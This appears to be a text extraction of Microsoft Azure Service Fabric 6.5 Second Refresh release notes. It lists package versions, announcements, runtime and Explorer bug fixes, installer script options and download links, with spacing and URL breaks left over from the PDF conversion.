SDK Java for Linux SDK 1.0.5 \nService Fabric PowerShell and \nCLI AzureRM PowerShell Module 0.3.15 \nSFCTL 8.0.0 \nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \n Table of Contents \nMicrosoft Azure Service Fabric 6.5 Second Refresh Release Notes ................................ ................................ ................................ ............................. 1 \nKey Announcements ................................ ................................ ................................ ................................ ................................ ................................ ... 3 \nBreaking Change Announcements ................................ ................................ ................................ ................................ ................................ ............ 4 \nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 5 \nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 8 \nService Fabric Explorer ................................ ................................ ................................ ................................ ................................ ................................ ... 9 \nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ............... 10 \nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 13 \n \n \n Key Announcements \n• Public Preview of Managed Identi ty for Azure Service Fabric applications \n Azure Service Fabric applications n ow support user - and system -assigned managed identities. This allows accessing other \nAzure resources which support Azure AD authentication, including Key Vault, without requiring management of service \nprincipal credentials. To learn more about working with Managed Service Identity in Azure Service Fabric , please see our \ndocumentation . \n• GA (Generally Available) of Application Resource Model \nThe deployment of Service Fabric applications as resources via Azure Resource Manager is now generally available. This is the \nrecommended method of deploying Service Fabric applications to an Azure based Service Fabric cluster. This update makes it \npossible to describe applications and ser vices in JSON and deploy them in the same Resource Manager template as your \ncluster. The process of application registratio n, provisioning, and deployment can all happen in one step. This is the best \npractice to manage application life cycle in you r cluster. For more information, please see our documentation . \n Breaking Change Announcements \n• Starting in this release, if you specify a static port and assign it within the application port range resulting in a conflict, a \nHealth Warning will be issued. The application deployment will continue in sync with current 6.5 behavior. However, in \nfuture major releases this appl ication deployment will be prevent ed. For more information, please see Warning section in \nour documentation . \n \n \n \n Service Fabric Runtime \nVersions Issue Type Description Resolution \nUbuntu 6.5.460.1 \nWindows 6.5.658.9590 \n \n Bug FabricGateway.exe may crash if certain \ntypes of AAD authentication is use d. \n \n Impact : Requests which authenticate as an application instead of a user \nthrough AAD cause FabricGateway to crash. This could mean that the cluster \nbecomes unresponsive if all ga teway instances are impacted. \nFix: Allow authentication as an applicatio n in addition to authentication as a \nuser when using AAD \n \nUbuntu 6.5.460.1 \nWindows 6.5.658.9590 \n \n \n Feature Enable http gateway telemetry by default \n \n Brief desc: This feature captures telemetry for requests going into http \ngateway. Specifically, it lo oks for the name of the request going to the \ngateway, not including the provided parameters, the client the request came \nfrom, and the success or failure of the request. Th is can be turned off or \nconfigured as described in fabric settings. \nDoc: https://docs.microsoft.com/azure/se rvice -fabric/service -fabric -cluster -\nfabric -settings#diagnostics \n \nWindows 6.5.658.95 90 Bug Retention stops working after the \nmovement of Backup restore service’s \nprimary. \n Impact : Retention does not work properly after FabricBRS’s primary \nmoves \\fails over to a different node. \n Fix: Fixed by arming retention timer properly after FabricBRS ’s primary’s \nmovement. \nWindows 6.5.658.9590 Bug Application activation after certificate \nupgrade fails with error: There is already a \ncertificate with thumbprint bound to port. Impact : Under certain circumstances Service Fabric runtime’s internal state \nabout certificates bound to endpoints was not cleaned up leading to application \nactivation failures. \nFix: Resolved by appropriately cleaning up the internal state. \nWindows 6.5.658.9590 Bug FileStoreService .exe may crash when certain \nconfigurations change by config upgrade. Impact: When certain configurations change, the notification handler may \ncause FileStoreService.exe to crash. This means the ImageStoreService’s \nprimary replica is switched unnecessarily. \nFix: Fixed handler ’s an access violation \nWindows 6.5.658.9590 \n Bug FileStoreService.exe may crash with invalid \ncharacters in Upload, Commit and Delete \ncommands. Impact: When FileStoreService.exe handles write commands like Upload, \nCommit and Delete, an invalid character in parameter causes the process to \ncrash. This means if a user keeps retrying with same parameter, the \nImageStoreService switches the primary replica accordingly . \nFix: Fixed request handler to check the invalid character and reject such input. \n \n Windows 6.5.658.9590 Bug ReportHealth on Application Activations if \nthey have a static port within \nApplicationPortRange. Impact: There are endpoint resolution conflicts because customer specifies a \nstatic port within ApplicationPortRange. \nFix: This is a breaking change where service activations will report health for 7 \ndays if there is an endpoint with static port that is within the application port range \nDoc: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\napplication -and-service -manifests#describe -a-service -in-servicemanifestxml \n \nWindows 6.5.658.9590 \n Bug Increase Lease Heartbeat unresponsive \nduration and use WinSock instead of \nTCPTransport Impact: When the machine under C PU pressure, Network prob using \nTCPTransport stuck at acquiring certificate , which leads to machine heartbeat \ntaking longer time and bug check in the end . \nFix: Using WinSock instead of TCPTransport to do Network prob, which does a \nTCP la yer connect and doe s not need to aut hentication. \nWindows 6.5.658.9590 \n Bug Create cluster failure event logs from \nremote machines should be only for the time \nframe post -setup start Impact: For standalone deployment troubleshooting we emit a set of event logs \nfrom the targe t machines. When hitting repeated failures customers were seeing \nerrors from previous cluster deployments which was jarring and confusing. \nFix: This is fixed to base the time off the SF runtime package installation directory \ncreation time stamp, such that logs emitted are only from the latest deployment. \nWindows 6.5.658.9590 \n Bug \n Fabric Runtime Installer: Early \ntermination/killing the process causes the \ntemporary in stallation directory to get left \nbehind Impact: When upgrading SF runtime for the SDK dev environment, in cases \nwhere installation conflicts are hit due to unexpected contention of installation \nartifacts, such as when docker is holding onto ese.dll, users tend to close the \ninstaller abruptly which was leaving behind temporary files. \nFix: Each subsequent run of the installer cleans temporary files of the current and \nprevious runs. \nWindows 6.5.658.9590 \n Bug \n Node may be blocked from coming up if \nFabricHost is started improperly during \ncode upgrade Impact: During code upgrade nodes are rebooted when there is contention against \ninstalled files. In cloud deployment scenarios where customers are managing the \nstartup pattern of FabricHost and are starting this service post -reboot, the re may be \ncases where the second half of upgrade has not yet comple ted and the node \nbecomes stuck in a limbo state where the new version bits are in the installation \ndirectory but old managed bits re main in GAC. \nFix: The intended pattern is to start FabricInstallerService instead of FabricHost, so to \nresolve this issue Fa bricHost now checks if the upgrade is in the described intermediary \nstate and if so, starts FabricInstallerService. \nWindows 6.5.658.9590 \n Feature \n InstallFabric.ps1 should optionally install \nFabricInstallerSvc for XCopy deployments Brief desc: For XCopy installations, FabricInstallerService is now able to be set \nup through InstallFabric.ps1. \n \nHow/When to Consume it: \n# Fresh install: \n.\\InstallFabric.ps1 -AcceptEULA -FabricRuntimePackagePath \n.\\MicrosoftServiceFabric.cab -SetupFabricInstallerService \n \n # Suppl ementary install of FabricInstallerSvc on an environment that already \nhas the runtime installed: \n.\\InstallFabric.ps1 -AcceptEULA -FabricRootIsPreInstalled -\nSkipRuntimeInstallation -SetupFabricInstallerService \n \nNew parameters for InstallFabric.ps1 \n• -SkipRunt imeInstallation # When used in conjunction with \nFabricRootIsPreInstalled, can bypass runtime installation. \n \n• -SetupFabricInstallerService # Used to install FabricInstallerSvc \n Service Fabric Common Bug Fixes \nVersions Issue Type Description Resolution \nUbun tu 6.5.460.1 \nWindows 6.5.658.9590 \n Bug Dropping multiple replicas of one partition \nin the same run impacts cluster availability. \n \n \n Impact: When reliability level of the cluster is downgraded and number of \nreplicas for system services is reduced, it i s possible that the cluster will enter \na state where it is not responsive and where users cannot connect to it. \nFix: Issue is fixed. \n Service F abric Explorer \n \nVersions Issue \nType Description Resolution \nUbuntu 6.5.460.1 \nWindows 6.5.658.9590 \n \n Bug AAD si lent sign on issue and white page \nwhen loading on an AAD cluster. \n \n Impact : When attempting to view SFX on AAD cluster, an error page \ndisplaying a silent sign on request has failed and required clearing local \ncache data. \nFix: Issue is fixed. \nGitHub Issue : https://github.com/microsoft/service -fabric -\nexplorer/pull/202 \nUbuntu 6.5.460.1 \nWindows 6.5.658.9590 \n Bug Accessibility compliance issues Impact : SFX did not meet a high enough standard of usability for people \nwith visual or physical disability/impairments. \nFix: SFX now better adheres to WCAG standards. \nGitHub Issue: https://github.com/microsoft/se rvice -fabric -\nexplorer/pull/198 \nUbuntu 6.5.460.1 \nWindows 6.5.658.9590 \n Feature Increased usability and conveniences \nfor Service fabric explorer \n Brief desc: Copy to clipboard, unhealth y evaluation links, advanced mode \ntoggle. \nFix: \n• Advanced mode toggle moves all but the ‘restart’ option for node \nactions behind this toggle being on. \n• Copy to clipboard allows for easily getting difficult text from SF X. \nUnhealthy evaluation links will now make it easy to navigate to the \naffected entity in SFX. \nGitHub Issue : \nhttps://github.com/microsoft/service -fabric -explorer/pull/204 \nhttps://github.com/microsoft/se rvice-fabric -explorer/pull/203 \nhttps://github.com/microsoft/service -fabric -explorer/pull/197 \n Repositories and Download Links \nThe table below is an overview of the direct links to the packages associated with this release. \nFollow this guidance for setting up your developer environment: \n• Linux: https://docs.microsoft.com/ en-us/azure/service -fabric/service -fabric -get-started -linux \n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \n• Wind ows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \nArea Package Version Repository Direct Download Link \nService \nFabric \nRuntime Ubuntu Developer Set -up 6.5.460.1 N/A Cluster Runtime: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefabr\nic/pool/main/s/servicefabric \nService Fabric SDK for local cluster \nsetup: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefabr\nic/pool/main/s/servicefabricsdkcommon\n/ \nContainer image: \nhttps://hub.docker.com/r/microsoft/servi\nce-fabric -onebox/ \n Area Package Version Repository Direct Download Link \nRed Hat Developer Set -up 6.1.189.1 N/A Cluster Runtime: \nhttps://packages.microsoft.com/yumrep\nos/microsoft -rhel7.4 -prod/ \n \nService Fabric SDK for local cluster \nsetup: \nhttps://packages.microsoft .com/yumrep\nos/microsoft -rhel7.4 -\nprod/servicefabric_sdkcommon_1.1.2.r\npm \n \nWindows Developer Set -up 6.5.658.9590 N/A https://download.microsoft.com/downlo\nad/F/9/3/F93AF848 -BE1C -4790 -8B24 -\n32CF63BA8E86/MicrosoftServiceFabri\nc.6.5.658.9590. exe \nService \nFabric for \nWindows \nServer Service Fabric Standalone \nInstaller Package 6.5.658.9590 N/A https://download.microsoft.com/downlo\nad/8/3/6/836E3E99 -A300 -4714 -8278 -\n96BC3E8B5528/6. 5.658.9590/Microsof\nt.Azure.ServiceF abric.WindowsServer.\n6.5.658.9590.zip \nService Fabric Standalone \nRuntime 6.5.658.9590 N/A https:/ /download.microsoft.com/downlo\nad/B/0/B/B0BCCAC5 -65AA -4BE3 -\nAB13 -\nD5FF5890F4B5/6.5.658.9590/Micro sof\ntAzureServiceFabric.6.5.658.9590.cab \n.NET SDK Windows .NET SDK 3.4.658 N/A https://download.microsoft.com/downlo\nad/F/9/3/F93AF848 -BE1C -4790 -8B24 -\n32CF63BA8E86/MicrosoftServiceFabri\ncSDK.3.4.658.msi \nMicrosoft.ServiceFabric 6.5.658 N/A https://www.nuget.org \n Area Package Version Repository Direct Download Link \nReliable Services and Reliable \nActors \n• Microsoft.ServiceFabr\nic.Services \n• Microsoft.ServiceFabr\nic.Services.Remoting \n• Microsoft.ServiceFabr\nic.Services.Wcf \n• Microsoft.ServiceFabr\nic.Actors \n• Microsoft.ServiceFabr\nic.Actors.Wcf 3.4.658 https://github.com/Azure/service -\nfabric -services -and-actors -dotnet https://www.nuget.org \nASP.NET Core Service Fabric \nintegration \n• Microsoft.Serv iceFabr\nic.Services.AspNetCor\ne.* 3.4.658 https://github.com/Azure/service -\nfabric -aspnetcore https://www.nuget.org \nData, Diagnostics and Fabric \ntranspo rt \n• Microsoft.ServiceFabr\nic.Data \n• Microsoft.ServiceFabr\nic.Data.Interfaces \n• Microsoft.ServiceFabr\nic.Diagnostics.Internal \n• Microsoft.ServiceFabr\nic.FabricTransport.Inte\nrnal 3.4.658 N/A https://www.nuget.org \n \nMicrosoft.Ser viceFabric.Data.\nExtensions 3.4.658 N/A https://www.nuget.org \n \nJava SDK Java SDK 1.0.5 N/A https://mvnrepository.com/art ifact/co\nm.microsoft.servicefabric/sf -\nactors/1.0.5 \n Area Package Version Repository Direct Download Link \nVisual \nStudio Visual Studio 2017 Tools for \nService Fabric 2.5.20608.1 N/A Included in Visual Studio 2017 Update \n7 (15.7) and above \nVisual Studio 2015 Tools for \nService Fabric 2.5.20615.1 N/A See locali zed download links below \nEclipse Service Fabric plug -in for \nEclipse 2.0.7 N/A N/A \nYeoman Azure Service Fabric Java \ngenerator 1.0.7 https://github.com/Azure/generator\n-azuresfjava N/A \nAzure S ervice Fabric C# \ngenerator 1.0.9 https://github.com/Azure/generator\n-azuresfcsharp N/A \nAzure Service Fabric guest \nexecutables generator 1.0.1 https://github.com/Azure/generator\n-azuresfguest N/A \nAzure Service Fabric \nContainer generators 1.0.1 https://github.com/Azure /generator\n-azuresfcontainer N/A \nCLI Service F abric CLI 8.0.0 https://github.com/Azure/service -\nfabric -cli https://pypi.python.org/pypi/sfctl \nPowerShel\nl AzureRM.ServiceFabric 0.3.1 5 https://github.com/Azure/azure -\npowershell/tree/preview/src/Resou\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\nckages/AzureRM.ServiceFabric/0.3.15 \n \nVisual Studio 2015 Tool for Service Fabric – localized download links \nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/Microsoft AzureServiceFabricTools.VS140.de -de.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24-32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \nhttps://download.microsoft.com/download/F/ 9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \nhttps://download. microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabr icTools.VS140.ko -kr.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/ MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C-4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \nhttps://download.microsoft.com/do wnload/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.z h-tw.msi \n "}],"string":"[\n {\n \"data\": \" \\n Microsoft Azure Service Fabric 6.5 Second Refresh Release Notes \\nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \\ndeployments to run on -premises. \\nThe following p ackages and versions are part of this release \\nService Fabric Runtime Ubuntu 6.5.460.1 \\nWindows 6.5.658. 9590 \\nService Fabric for Windows \\nServer Service Fabric Standalone Installer Package 6.5.658. 9590 \\n.NET SDK Windows .NET SDK 3.4.658 \\nMicrosoft.ServiceFabric 6.5.658 \\nReliable Services and Reliable Actors 3.4.658 \\nASP.NET Core Service Fab ric integration 3.4.658 \\nJava SDK Java for Linux SDK 1.0.5 \\nService Fabric PowerShell and \\nCLI AzureRM PowerShell Module 0.3.15 \\nSFCTL 8.0.0 \\nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \\n Table of Contents \\nMicrosoft Azure Service Fabric 6.5 Second Refresh Release Notes ................................ ................................ ................................ ............................. 1 \\nKey Announcements ................................ ................................ ................................ ................................ ................................ ................................ ... 3 \\nBreaking Change Announcements ................................ ................................ ................................ ................................ ................................ ............ 4 \\nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 5 \\nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 8 \\nService Fabric Explorer ................................ ................................ ................................ ................................ ................................ ................................ ... 9 \\nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ............... 10 \\nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 13 \\n \\n \\n Key Announcements \\n• Public Preview of Managed Identi ty for Azure Service Fabric applications \\n Azure Service Fabric applications n ow support user - and system -assigned managed identities. This allows accessing other \\nAzure resources which support Azure AD authentication, including Key Vault, without requiring management of service \\nprincipal credentials. To learn more about working with Managed Service Identity in Azure Service Fabric , please see our \\ndocumentation . \\n• GA (Generally Available) of Application Resource Model \\nThe deployment of Service Fabric applications as resources via Azure Resource Manager is now generally available. This is the \\nrecommended method of deploying Service Fabric applications to an Azure based Service Fabric cluster. This update makes it \\npossible to describe applications and ser vices in JSON and deploy them in the same Resource Manager template as your \\ncluster. The process of application registratio n, provisioning, and deployment can all happen in one step. This is the best \\npractice to manage application life cycle in you r cluster. For more information, please see our documentation . \\n Breaking Change Announcements \\n• Starting in this release, if you specify a static port and assign it within the application port range resulting in a conflict, a \\nHealth Warning will be issued. The application deployment will continue in sync with current 6.5 behavior. However, in \\nfuture major releases this appl ication deployment will be prevent ed. For more information, please see Warning section in \\nour documentation . \\n \\n \\n \\n Service Fabric Runtime \\nVersions Issue Type Description Resolution \\nUbuntu 6.5.460.1 \\nWindows 6.5.658.9590 \\n \\n Bug FabricGateway.exe may crash if certain \\ntypes of AAD authentication is use d. \\n \\n Impact : Requests which authenticate as an application instead of a user \\nthrough AAD cause FabricGateway to crash. This could mean that the cluster \\nbecomes unresponsive if all ga teway instances are impacted. \\nFix: Allow authentication as an applicatio n in addition to authentication as a \\nuser when using AAD \\n \\nUbuntu 6.5.460.1 \\nWindows 6.5.658.9590 \\n \\n \\n Feature Enable http gateway telemetry by default \\n \\n Brief desc: This feature captures telemetry for requests going into http \\ngateway. Specifically, it lo oks for the name of the request going to the \\ngateway, not including the provided parameters, the client the request came \\nfrom, and the success or failure of the request. Th is can be turned off or \\nconfigured as described in fabric settings. \\nDoc: https://docs.microsoft.com/azure/se rvice -fabric/service -fabric -cluster -\\nfabric -settings#diagnostics \\n \\nWindows 6.5.658.95 90 Bug Retention stops working after the \\nmovement of Backup restore service’s \\nprimary. \\n Impact : Retention does not work properly after FabricBRS’s primary \\nmoves \\\\fails over to a different node. \\n Fix: Fixed by arming retention timer properly after FabricBRS ’s primary’s \\nmovement. \\nWindows 6.5.658.9590 Bug Application activation after certificate \\nupgrade fails with error: There is already a \\ncertificate with thumbprint bound to port. Impact : Under certain circumstances Service Fabric runtime’s internal state \\nabout certificates bound to endpoints was not cleaned up leading to application \\nactivation failures. \\nFix: Resolved by appropriately cleaning up the internal state. \\nWindows 6.5.658.9590 Bug FileStoreService .exe may crash when certain \\nconfigurations change by config upgrade. Impact: When certain configurations change, the notification handler may \\ncause FileStoreService.exe to crash. This means the ImageStoreService’s \\nprimary replica is switched unnecessarily. \\nFix: Fixed handler ’s an access violation \\nWindows 6.5.658.9590 \\n Bug FileStoreService.exe may crash with invalid \\ncharacters in Upload, Commit and Delete \\ncommands. Impact: When FileStoreService.exe handles write commands like Upload, \\nCommit and Delete, an invalid character in parameter causes the process to \\ncrash. This means if a user keeps retrying with same parameter, the \\nImageStoreService switches the primary replica accordingly . \\nFix: Fixed request handler to check the invalid character and reject such input. \\n \\n Windows 6.5.658.9590 Bug ReportHealth on Application Activations if \\nthey have a static port within \\nApplicationPortRange. Impact: There are endpoint resolution conflicts because customer specifies a \\nstatic port within ApplicationPortRange. \\nFix: This is a breaking change where service activations will report health for 7 \\ndays if there is an endpoint with static port that is within the application port range \\nDoc: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\\napplication -and-service -manifests#describe -a-service -in-servicemanifestxml \\n \\nWindows 6.5.658.9590 \\n Bug Increase Lease Heartbeat unresponsive \\nduration and use WinSock instead of \\nTCPTransport Impact: When the machine under C PU pressure, Network prob using \\nTCPTransport stuck at acquiring certificate , which leads to machine heartbeat \\ntaking longer time and bug check in the end . \\nFix: Using WinSock instead of TCPTransport to do Network prob, which does a \\nTCP la yer connect and doe s not need to aut hentication. \\nWindows 6.5.658.9590 \\n Bug Create cluster failure event logs from \\nremote machines should be only for the time \\nframe post -setup start Impact: For standalone deployment troubleshooting we emit a set of event logs \\nfrom the targe t machines. When hitting repeated failures customers were seeing \\nerrors from previous cluster deployments which was jarring and confusing. \\nFix: This is fixed to base the time off the SF runtime package installation directory \\ncreation time stamp, such that logs emitted are only from the latest deployment. \\nWindows 6.5.658.9590 \\n Bug \\n Fabric Runtime Installer: Early \\ntermination/killing the process causes the \\ntemporary in stallation directory to get left \\nbehind Impact: When upgrading SF runtime for the SDK dev environment, in cases \\nwhere installation conflicts are hit due to unexpected contention of installation \\nartifacts, such as when docker is holding onto ese.dll, users tend to close the \\ninstaller abruptly which was leaving behind temporary files. \\nFix: Each subsequent run of the installer cleans temporary files of the current and \\nprevious runs. \\nWindows 6.5.658.9590 \\n Bug \\n Node may be blocked from coming up if \\nFabricHost is started improperly during \\ncode upgrade Impact: During code upgrade nodes are rebooted when there is contention against \\ninstalled files. In cloud deployment scenarios where customers are managing the \\nstartup pattern of FabricHost and are starting this service post -reboot, the re may be \\ncases where the second half of upgrade has not yet comple ted and the node \\nbecomes stuck in a limbo state where the new version bits are in the installation \\ndirectory but old managed bits re main in GAC. \\nFix: The intended pattern is to start FabricInstallerService instead of FabricHost, so to \\nresolve this issue Fa bricHost now checks if the upgrade is in the described intermediary \\nstate and if so, starts FabricInstallerService. \\nWindows 6.5.658.9590 \\n Feature \\n InstallFabric.ps1 should optionally install \\nFabricInstallerSvc for XCopy deployments Brief desc: For XCopy installations, FabricInstallerService is now able to be set \\nup through InstallFabric.ps1. \\n \\nHow/When to Consume it: \\n# Fresh install: \\n.\\\\InstallFabric.ps1 -AcceptEULA -FabricRuntimePackagePath \\n.\\\\MicrosoftServiceFabric.cab -SetupFabricInstallerService \\n \\n # Suppl ementary install of FabricInstallerSvc on an environment that already \\nhas the runtime installed: \\n.\\\\InstallFabric.ps1 -AcceptEULA -FabricRootIsPreInstalled -\\nSkipRuntimeInstallation -SetupFabricInstallerService \\n \\nNew parameters for InstallFabric.ps1 \\n• -SkipRunt imeInstallation # When used in conjunction with \\nFabricRootIsPreInstalled, can bypass runtime installation. \\n \\n• -SetupFabricInstallerService # Used to install FabricInstallerSvc \\n Service Fabric Common Bug Fixes \\nVersions Issue Type Description Resolution \\nUbun tu 6.5.460.1 \\nWindows 6.5.658.9590 \\n Bug Dropping multiple replicas of one partition \\nin the same run impacts cluster availability. \\n \\n \\n Impact: When reliability level of the cluster is downgraded and number of \\nreplicas for system services is reduced, it i s possible that the cluster will enter \\na state where it is not responsive and where users cannot connect to it. \\nFix: Issue is fixed. \\n Service F abric Explorer \\n \\nVersions Issue \\nType Description Resolution \\nUbuntu 6.5.460.1 \\nWindows 6.5.658.9590 \\n \\n Bug AAD si lent sign on issue and white page \\nwhen loading on an AAD cluster. \\n \\n Impact : When attempting to view SFX on AAD cluster, an error page \\ndisplaying a silent sign on request has failed and required clearing local \\ncache data. \\nFix: Issue is fixed. \\nGitHub Issue : https://github.com/microsoft/service -fabric -\\nexplorer/pull/202 \\nUbuntu 6.5.460.1 \\nWindows 6.5.658.9590 \\n Bug Accessibility compliance issues Impact : SFX did not meet a high enough standard of usability for people \\nwith visual or physical disability/impairments. \\nFix: SFX now better adheres to WCAG standards. \\nGitHub Issue: https://github.com/microsoft/se rvice -fabric -\\nexplorer/pull/198 \\nUbuntu 6.5.460.1 \\nWindows 6.5.658.9590 \\n Feature Increased usability and conveniences \\nfor Service fabric explorer \\n Brief desc: Copy to clipboard, unhealth y evaluation links, advanced mode \\ntoggle. \\nFix: \\n• Advanced mode toggle moves all but the ‘restart’ option for node \\nactions behind this toggle being on. \\n• Copy to clipboard allows for easily getting difficult text from SF X. \\nUnhealthy evaluation links will now make it easy to navigate to the \\naffected entity in SFX. \\nGitHub Issue : \\nhttps://github.com/microsoft/service -fabric -explorer/pull/204 \\nhttps://github.com/microsoft/se rvice-fabric -explorer/pull/203 \\nhttps://github.com/microsoft/service -fabric -explorer/pull/197 \\n Repositories and Download Links \\nThe table below is an overview of the direct links to the packages associated with this release. \\nFollow this guidance for setting up your developer environment: \\n• Linux: https://docs.microsoft.com/ en-us/azure/service -fabric/service -fabric -get-started -linux \\n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \\n• Wind ows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \\nArea Package Version Repository Direct Download Link \\nService \\nFabric \\nRuntime Ubuntu Developer Set -up 6.5.460.1 N/A Cluster Runtime: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefabr\\nic/pool/main/s/servicefabric \\nService Fabric SDK for local cluster \\nsetup: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefabr\\nic/pool/main/s/servicefabricsdkcommon\\n/ \\nContainer image: \\nhttps://hub.docker.com/r/microsoft/servi\\nce-fabric -onebox/ \\n Area Package Version Repository Direct Download Link \\nRed Hat Developer Set -up 6.1.189.1 N/A Cluster Runtime: \\nhttps://packages.microsoft.com/yumrep\\nos/microsoft -rhel7.4 -prod/ \\n \\nService Fabric SDK for local cluster \\nsetup: \\nhttps://packages.microsoft .com/yumrep\\nos/microsoft -rhel7.4 -\\nprod/servicefabric_sdkcommon_1.1.2.r\\npm \\n \\nWindows Developer Set -up 6.5.658.9590 N/A https://download.microsoft.com/downlo\\nad/F/9/3/F93AF848 -BE1C -4790 -8B24 -\\n32CF63BA8E86/MicrosoftServiceFabri\\nc.6.5.658.9590. exe \\nService \\nFabric for \\nWindows \\nServer Service Fabric Standalone \\nInstaller Package 6.5.658.9590 N/A https://download.microsoft.com/downlo\\nad/8/3/6/836E3E99 -A300 -4714 -8278 -\\n96BC3E8B5528/6. 5.658.9590/Microsof\\nt.Azure.ServiceF abric.WindowsServer.\\n6.5.658.9590.zip \\nService Fabric Standalone \\nRuntime 6.5.658.9590 N/A https:/ /download.microsoft.com/downlo\\nad/B/0/B/B0BCCAC5 -65AA -4BE3 -\\nAB13 -\\nD5FF5890F4B5/6.5.658.9590/Micro sof\\ntAzureServiceFabric.6.5.658.9590.cab \\n.NET SDK Windows .NET SDK 3.4.658 N/A https://download.microsoft.com/downlo\\nad/F/9/3/F93AF848 -BE1C -4790 -8B24 -\\n32CF63BA8E86/MicrosoftServiceFabri\\ncSDK.3.4.658.msi \\nMicrosoft.ServiceFabric 6.5.658 N/A https://www.nuget.org \\n Area Package Version Repository Direct Download Link \\nReliable Services and Reliable \\nActors \\n• Microsoft.ServiceFabr\\nic.Services \\n• Microsoft.ServiceFabr\\nic.Services.Remoting \\n• Microsoft.ServiceFabr\\nic.Services.Wcf \\n• Microsoft.ServiceFabr\\nic.Actors \\n• Microsoft.ServiceFabr\\nic.Actors.Wcf 3.4.658 https://github.com/Azure/service -\\nfabric -services -and-actors -dotnet https://www.nuget.org \\nASP.NET Core Service Fabric \\nintegration \\n• Microsoft.Serv iceFabr\\nic.Services.AspNetCor\\ne.* 3.4.658 https://github.com/Azure/service -\\nfabric -aspnetcore https://www.nuget.org \\nData, Diagnostics and Fabric \\ntranspo rt \\n• Microsoft.ServiceFabr\\nic.Data \\n• Microsoft.ServiceFabr\\nic.Data.Interfaces \\n• Microsoft.ServiceFabr\\nic.Diagnostics.Internal \\n• Microsoft.ServiceFabr\\nic.FabricTransport.Inte\\nrnal 3.4.658 N/A https://www.nuget.org \\n \\nMicrosoft.Ser viceFabric.Data.\\nExtensions 3.4.658 N/A https://www.nuget.org \\n \\nJava SDK Java SDK 1.0.5 N/A https://mvnrepository.com/art ifact/co\\nm.microsoft.servicefabric/sf -\\nactors/1.0.5 \\n Area Package Version Repository Direct Download Link \\nVisual \\nStudio Visual Studio 2017 Tools for \\nService Fabric 2.5.20608.1 N/A Included in Visual Studio 2017 Update \\n7 (15.7) and above \\nVisual Studio 2015 Tools for \\nService Fabric 2.5.20615.1 N/A See locali zed download links below \\nEclipse Service Fabric plug -in for \\nEclipse 2.0.7 N/A N/A \\nYeoman Azure Service Fabric Java \\ngenerator 1.0.7 https://github.com/Azure/generator\\n-azuresfjava N/A \\nAzure S ervice Fabric C# \\ngenerator 1.0.9 https://github.com/Azure/generator\\n-azuresfcsharp N/A \\nAzure Service Fabric guest \\nexecutables generator 1.0.1 https://github.com/Azure/generator\\n-azuresfguest N/A \\nAzure Service Fabric \\nContainer generators 1.0.1 https://github.com/Azure /generator\\n-azuresfcontainer N/A \\nCLI Service F abric CLI 8.0.0 https://github.com/Azure/service -\\nfabric -cli https://pypi.python.org/pypi/sfctl \\nPowerShel\\nl AzureRM.ServiceFabric 0.3.1 5 https://github.com/Azure/azure -\\npowershell/tree/preview/src/Resou\\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\\nckages/AzureRM.ServiceFabric/0.3.15 \\n \\nVisual Studio 2015 Tool for Service Fabric – localized download links \\nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/Microsoft AzureServiceFabricTools.VS140.de -de.msi \\nhttps://download.microsoft.com/download/F/9/3/F93AF848 -BE1C -4790 -8B24-32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \\nhttps://download.microsoft.com/download/F/ 9/3/F93AF848 -BE1C -4790 -8B24 -32CF63BA8E86/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \\nhttps://download. microsoft.com/download/F/9/3/F93AF848 -BE1C 